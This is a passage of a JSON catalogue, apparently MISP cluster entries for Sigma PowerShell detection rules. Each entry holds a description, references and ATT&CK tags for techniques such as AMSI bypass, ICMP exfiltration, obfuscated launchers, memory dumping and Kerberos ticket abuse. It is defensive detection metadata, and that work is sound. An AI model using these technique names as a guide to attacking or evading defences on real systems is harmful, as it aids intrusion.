          "attack.t1021.006"
        ]
      },
      "related": [
        {
          "dest-uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7b836d7f-179c-4ba4-90a7-a7e60afb48e6",
      "value": "Execute Invoke-command on Remote Host"
    },
    {
      "description": "Detects powershell scripts that adds a Name Resolution Policy Table (NRPT) rule for the specified namespace.\nThis will bypass the default DNS server and uses a specified server for answering the query.\n",
      "meta": {
        "author": "Borna Talebi",
        "creation_date": "2021/09/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_add_dnsclient_rule.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/powershell/module/dnsclient/add-dnsclientnrptrule?view=windowsserver2022-ps",
          "https://twitter.com/NathanMcNulty/status/1569497348841287681",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_add_dnsclient_rule.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1565"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac9e6b22-11bf-45d7-9181-c1cb08360931",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4368354e-1797-463c-bc39-a309effbe8d7",
      "value": "Powershell Add Name Resolution Policy Table Rule"
    },
    {
      "description": "Detects keywords from well-known PowerShell exploitation frameworks",
      "meta": {
        "author": "Sean Metcalf (source), Florian Roth (Nextron Systems)",
        "creation_date": "2017/03/05",
        "falsepositive": [
          "Depending on the scripts, this rule might require some initial tuning to fit the environment"
        ],
        "filename": "posh_ps_malicious_keywords.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://adsecurity.org/?p=2921",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_malicious_keywords.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f62176f3-8128-4faa-bf6c-83261322e5eb",
      "value": "Malicious PowerShell Keywords"
    },
    {
      "description": "Detects PowerShell scripts to set the ACL to a file in the Windows folder",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/07/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_set_acl_susp_location.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-acl?view=powershell-5.1",
          "https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_set_acl_susp_location.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1222"
        ]
      },
      "related": [
        {
          "dest-uuid": "65917ae0-b854-4139-83fe-bf2441cf0196",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3bf1d859-3a7e-44cb-8809-a99e066d3478",
      "value": "PowerShell Set-Acl On Windows Folder - PsScript"
    },
    {
      "description": "Detects Obfuscated use of Environment Variables to execute PowerShell",
      "meta": {
        "author": "Jonathan Cheong, oscd.community",
        "creation_date": "2020/10/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_invoke_obfuscation_var.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_var.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0adfbc14-0ed1-11eb-adc1-0242ac120002",
      "value": "Invoke-Obfuscation VAR+ Launcher - PowerShell"
    },
    {
      "description": "Adversaries may attempt to find domain-level groups and permission settings.\nThe knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_susp_ad_group_reco.yml",
        "level": "low",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_ad_group_reco.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1069.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "88f0884b-331d-403d-a3a1-b668cf035603",
      "value": "AD Groups Or Users Enumeration Using PowerShell - ScriptBlock"
    },
    {
      "description": "Detects usage of the \"Write-EventLog\" cmdlet with 'RawData' flag. The cmdlet can be levreage to write malicious payloads to the EventLog and then retrieve them later for later use",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/16",
        "falsepositive": [
          "Legitimate applications writing events via this cmdlet. Investigate alerts to determine if the action is benign"
        ],
        "filename": "posh_ps_susp_write_eventlog.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://www.blackhillsinfosec.com/windows-event-logs-for-red-teams/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_write_eventlog.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "35f41cd7-c98e-469f-8a02-ec4ba0cc7a7e",
      "value": "PowerShell Write-EventLog Usage"
    },
    {
      "description": "Detects usage of the \"Import-Module\" cmdlet to load the \"Microsoft.ActiveDirectory.Management.dl\" DLL. Which is often used by attackers to perform AD enumeration.",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali",
        "creation_date": "2023/01/22",
        "falsepositive": [
          "Legitimate use of the library for administrative activity"
        ],
        "filename": "posh_ps_active_directory_module_dll_import.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/samratashok/ADModule",
          "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges",
          "https://twitter.com/cyb3rops/status/1617108657166061568?s=20",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_active_directory_module_dll_import.yml"
        ],
        "tags": [
          "attack.reconnaissance",
          "attack.discovery",
          "attack.impact"
        ]
      },
      "uuid": "9e620995-f2d8-4630-8430-4afd89f77604",
      "value": "Potential Active Directory Enumeration Using AD Module - PsScript"
    },
    {
      "description": "Detects execution of ADRecon.ps1 for AD reconnaissance which has been reported to be actively used by FIN7",
      "meta": {
        "author": "Bhabesh Raj",
        "creation_date": "2021/07/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_adrecon_execution.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319",
          "https://github.com/sense-of-security/ADRecon/blob/11881a24e9c8b207f31b56846809ce1fb189bcc9/ADRecon.ps1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_adrecon_execution.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bf72941a-cba0-41ea-b18c-9aca3925690d",
      "value": "PowerShell ADRecon Execution"
    },
    {
      "description": "Detect use of Get-GPO to get one GPO or all the GPOs in a domain.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/06/04",
        "falsepositive": [
          "Legitimate PowerShell scripts"
        ],
        "filename": "posh_ps_susp_get_gpo.yml",
        "level": "low",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1615/T1615.md",
          "https://docs.microsoft.com/en-us/powershell/module/grouppolicy/get-gpo?view=windowsserver2022-ps",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_gpo.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1615"
        ]
      },
      "related": [
        {
          "dest-uuid": "1b20efbf-8063-4fc3-a07d-b575318a301b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "eb2fd349-ec67-4caa-9143-d79c7fb34441",
      "value": "Suspicious GPO Discovery With Get-GPO"
    },
    {
      "description": "Detect built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool.\nSimilar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/09/10",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_disable_windows_optional_feature.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/5b67c9b141fa3918017f8fa44f2f88f0b1ecb9e1/atomics/T1562.001/T1562.001.md",
          "https://docs.microsoft.com/en-us/powershell/module/dism/disable-windowsoptionalfeature?view=windowsserver2022-ps",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_windows_optional_feature.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "99c4658d-2c5e-4d87-828d-7c066ca537c3",
      "value": "Disable-WindowsOptionalFeature Command PowerShell"
    },
    {
      "description": "Adversaries may manipulate accounts to maintain access to victim systems.\nAccount manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/28",
        "falsepositive": [
          "Legitimate administrative script"
        ],
        "filename": "posh_ps_localuser.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1098/T1098.md#atomic-test-1---admin-account-manipulate",
          "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts/?view=powershell-5.1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_localuser.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1098"
        ]
      },
      "related": [
        {
          "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4fdc44df-bfe9-4fcc-b041-68f5a2d3031c",
      "value": "Powershell LocalAccount Manipulation"
    },
    {
      "description": "Detects Exfiltration Over Alternative Protocol - ICMP. Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.",
      "meta": {
        "author": "Bartlomiej Czyz @bczyz1, oscd.community",
        "creation_date": "2020/10/10",
        "falsepositive": [
          "Legitimate usage of System.Net.NetworkInformation.Ping class"
        ],
        "filename": "posh_ps_icmp_exfiltration.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-2---exfiltration-over-alternative-protocol---icmp",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_icmp_exfiltration.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1048.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4c4af3cd-2115-479c-8193-6b8bfce9001c",
      "value": "PowerShell ICMP Exfiltration"
    },
    {
      "description": "Detects Silence EmpireDNSAgent as described in the Group-IP report",
      "meta": {
        "author": "Alina Stepchenkova, Group-IB, oscd.community",
        "creation_date": "2019/11/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_apt_silence_eda.yml",
        "level": "critical",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_apt_silence_eda.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001",
          "attack.command_and_control",
          "attack.t1071.004",
          "attack.t1572",
          "attack.impact",
          "attack.t1529",
          "attack.g0091",
          "attack.s0363"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3ceb2083-a27f-449a-be33-14ec1b7cc973",
      "value": "Silence.EDA Detection"
    },
    {
      "description": "Adversaries may communicate using a protocol and port paring that are typically not associated.\nFor example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/23",
        "falsepositive": [
          "Legitimate administrative script"
        ],
        "filename": "posh_ps_test_netconnection.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1571/T1571.md#atomic-test-1---testing-usage-of-uncommonly-used-port-with-powershell",
          "https://docs.microsoft.com/en-us/powershell/module/nettcpip/test-netconnection?view=windowsserver2022-ps",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_test_netconnection.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1571"
        ]
      },
      "related": [
        {
          "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "adf876b3-f1f8-4aa9-a4e4-a64106feec06",
      "value": "Testing Usage of Uncommonly Used Port"
    },
    {
      "description": "Detects call to \"Win32_QuickFixEngineering\" in order to enumerate installed hotfixes often used in \"enum\" scripts by attackers",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/21",
        "falsepositive": [
          "Legitimate administration scripts"
        ],
        "filename": "posh_ps_hotfix_enum.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/411Hall/JAWS/blob/233f142fcb1488172aa74228a666f6b3c5c48f1d/jaws-enum.ps1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_hotfix_enum.yml"
        ],
        "tags": [
          "attack.discovery"
        ]
      },
      "uuid": "f5d1def8-1de0-4a0e-9794-1f6f27dd605c",
      "value": "PowerShell Hotfix Enumeration"
    },
    {
      "description": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users.\nThis may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_susp_wallpaper.yml",
        "level": "low",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1491.001/T1491.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_wallpaper.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1491.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "8c41090b-aa47-4331-986b-8c9a51a91103",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c5ac6a1e-9407-45f5-a0ce-ca9a0806a287",
      "value": "Replace Desktop Wallpaper by Powershell"
    },
    {
      "description": "Detects use of WinAPI functions in PowerShell scripts",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Nikita Nazarov, oscd.community",
        "creation_date": "2020/10/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_win_api_susp_access.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win_api_susp_access.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001",
          "attack.t1106"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "03d83090-8cba-44a0-b02f-0b756a050306",
      "value": "Potential WinAPI Calls Via PowerShell Scripts"
    },
    {
      "description": "Detects usage of special strings/null bits in order to potentially bypass AMSI functionalities",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_amsi_null_bits_bypass.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/r00t-3xp10it/hacking-material-books/blob/43cb1e1932c16ff1f58b755bc9ab6b096046853f/obfuscation/simple_obfuscation.md#amsi-bypass-using-null-bits-satoshi",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_amsi_null_bits_bypass.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fa2559c8-1197-471d-9cdd-05a0273d4522",
      "value": "Potential AMSI Bypass Script Using NULL Bits"
    },
    {
      "description": "Detects usage of a PowerShell command to dump the live memory of a Windows machine",
      "meta": {
        "author": "Max Altgelt (Nextron Systems)",
        "creation_date": "2021/09/21",
        "falsepositive": [
          "Diagnostics"
        ],
        "filename": "posh_ps_memorydump_getstoragediagnosticinfo.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/powershell/module/storage/get-storagediagnosticinfo",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_memorydump_getstoragediagnosticinfo.yml"
        ],
        "tags": [
          "attack.t1003"
        ]
      },
      "related": [
        {
          "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cd185561-4760-45d6-a63e-a51325112cae",
      "value": "Live Memory Dump Using Powershell"
    },
    {
      "description": "Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.",
      "meta": {
        "author": "Austin Songer (@austinsonger), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/12/23",
        "falsepositive": [
          "Legitimate use of the library for administrative activity"
        ],
        "filename": "posh_ps_aadinternals_cmdlets_execution.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://o365blog.com/aadinternals/",
          "https://github.com/Gerenios/AADInternals",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_aadinternals_cmdlets_execution.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.reconnaissance",
          "attack.discovery",
          "attack.credential_access",
          "attack.impact"
        ]
      },
      "uuid": "91e69562-2426-42ce-a647-711b8152ced6",
      "value": "AADInternals PowerShell Cmdlets Execution - PsScript"
    },
    {
      "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER",
      "meta": {
        "author": "Timur Zinniatullin, oscd.community",
        "creation_date": "2020/10/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_invoke_obfuscation_via_rundll.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_rundll.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e6cb92b4-b470-4eb8-8a9d-d63e8583aae0",
      "value": "Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell"
    },
    {
      "description": "Detects Set-Alias or New-Alias cmdlet usage. Which can be use as a mean to obfuscate PowerShell scripts",
      "meta": {
        "author": "frack113",
        "creation_date": "2023/01/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_susp_set_alias.yml",
        "level": "low",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/1337Rin/Swag-PSO",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_set_alias.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1027",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "96cd126d-f970-49c4-848a-da3a09f55c55",
      "value": "Potential PowerShell Obfuscation Using Alias Cmdlets"
    },
    {
      "description": "Adversaries may use to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/08/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_susp_new_psdrive.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-psdrive?view=powershell-7.2",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.002/T1021.002.md#atomic-test-2---map-admin-share-powershell",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_new_psdrive.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1021.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1c563233-030e-4a07-af8c-ee0490a66d3a",
      "value": "Suspicious New-PSDrive to Admin Share"
    },
    {
      "description": "utilize native PowerShell Identity modules to query the domain to extract the Service Principal Names for a single computer.\nThis behavior is typically used during a kerberos or silver ticket attack.\nA successful execution will output the SPNs for the endpoint in question.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_request_kerberos_ticket.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1558.003/T1558.003.md#atomic-test-4---request-a-single-ticket-via-powershell",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_request_kerberos_ticket.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1558.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a861d835-af37-4930-bcd6-5b178bfb54df",
      "value": "Request A Single Ticket via PowerShell"
    },
    {
      "description": "Detects writing data into NTFS alternate data streams from powershell. Needs Script Block Logging.",
      "meta": {
        "author": "Sami Ruohonen",
        "creation_date": "2018/07/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_ntfs_ads_access.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "http://www.powertheshell.com/ntfsstreams/",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_ntfs_ads_access.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.004",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8c521530-5169-495d-a199-0a3a881ad24e",
      "value": "NTFS Alternate Data Stream"
    },
    {
      "description": "Detects AS-REP roasting is an attack that is often-overlooked. It is not very common as you have to explicitly set accounts that do not require pre-authentication.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/03/17",
        "falsepositive": [
          "Legitimate PowerShell scripts"
        ],
        "filename": "posh_ps_as_rep_roasting.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md#atomic-test-11---get-aduser-enumeration-using-useraccountcontrol-flags-as-rep-roasting",
          "https://shellgeek.com/useraccountcontrol-flags-to-manipulate-properties/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_as_rep_roasting.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1033"
        ]
      },
      "related": [
        {
          "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
